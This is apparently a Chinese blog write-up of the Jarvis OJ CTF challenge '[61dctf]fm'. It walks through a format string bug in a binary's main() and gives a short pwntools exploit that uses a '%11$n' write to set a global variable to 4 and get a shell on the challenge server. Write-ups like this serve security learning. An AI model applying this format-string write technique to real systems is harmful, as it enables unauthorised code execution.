当前位置:网站首页>[61dctf]fm
[61dctf]fm
2022-07-05 16:06:00 【[mzq]】
[61dctf]fm
附件地址 : https://dn.jarvisoj.com/challengefiles/fm.eaef2247796c11db798a579396482399
nc pwn2.jarvisoj.com 9895
checksec Canary found栈溢出行不通
main函数
在if判断了x的值,但是x的值是我们不可控制的,printf输出了&buf的值,这里是可以进行格式化字符串攻击的,而且if判断的是4 而$n可以输出4的int值到任意的地址中。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
可以看到输出aaaa的偏移量的11
通过动态调试,把x的值设置为0x4,运行后确实得到shell
exp
from pwn import *
io = process("./stack")
io = remote("pwn2.jarvisoj.com", 9895)
x_addr = 0x0804A02C
context(log_level="debug", arch="i386")
payload = flat([x_addr,'%11$n'])
io.sendline(payload)
io.interactive()
边栏推荐
- Is it safe for Guotai Junan to open an account online
- Enterprise backup software Veritas NetBackup (NBU) 8.1.1 installation and deployment of server
- 【学术相关】多位博士毕业去了三四流高校,目前惨不忍睹……
- "21 days proficient in typescript-3" - install and build a typescript development environment md
- Accès aux données - intégration du cadre d'entité
- Use of set tag in SQL
- Detailed explanation of use scenarios and functions of polar coordinate sector diagram
- Record a 'very strange' troubleshooting process of cloud security group rules
- Mongodb getting started Tutorial Part 04 mongodb client
- 【 brosser le titre 】 chemise culturelle de l'usine d'oies
猜你喜欢
Batch update in the project
Win11如何给应用换图标?Win11给应用换图标的方法
Starkware: to build ZK "universe"
Seaborn draws 11 histograms
Flet教程之 12 Stack 重叠组建图文混合 基础入门(教程含源码)
Migrate /home partition
HiEngine:可媲美本地的云原生内存数据库引擎
普洛斯数据中心发布DC Brain系统,科技赋能智慧化运营管理
Single merchant v4.4 has the same original intention and strength!
效果编辑器新版上线!3D渲染、加标注、设置动画,这次一个编辑器就够了
随机推荐
Use of set tag in SQL
The difference between abstract classes and interfaces
Research and development efficiency measurement index composition and efficiency measurement methodology
Android 隐私沙盒开发者预览版 3: 隐私安全和个性化体验全都要
Basic introduction to the control of the row component displaying its children in the horizontal array (tutorial includes source code)
Starkware: to build ZK "universe"
Which keywords will conflict with the abstract keyword
The database of the server is not connected to 200310060 "unknown error" [the service is up, the firewall is off, the port is on, and the netlent port is not connected]
File operation --i/o
Apiccloud cloud debugging solution
"21 days proficient in typescript-3" - install and build a typescript development environment md
How does win11 change icons for applications? Win11 method of changing icons for applications
yarn 常用命令
《21天精通TypeScript-3》-安装搭建TypeScript开发环境.md
Summary of methods for finding intersection of ordered linked list sets
自己要有自己的坚持
一键安装脚本实现快速部署GrayLog Server 4.2.10单机版
公司自用的国产API管理神器
Flet tutorial 12 stack overlapping to build a basic introduction to graphic and text mixing (tutorial includes source code)
[js] 技巧 简化if 判空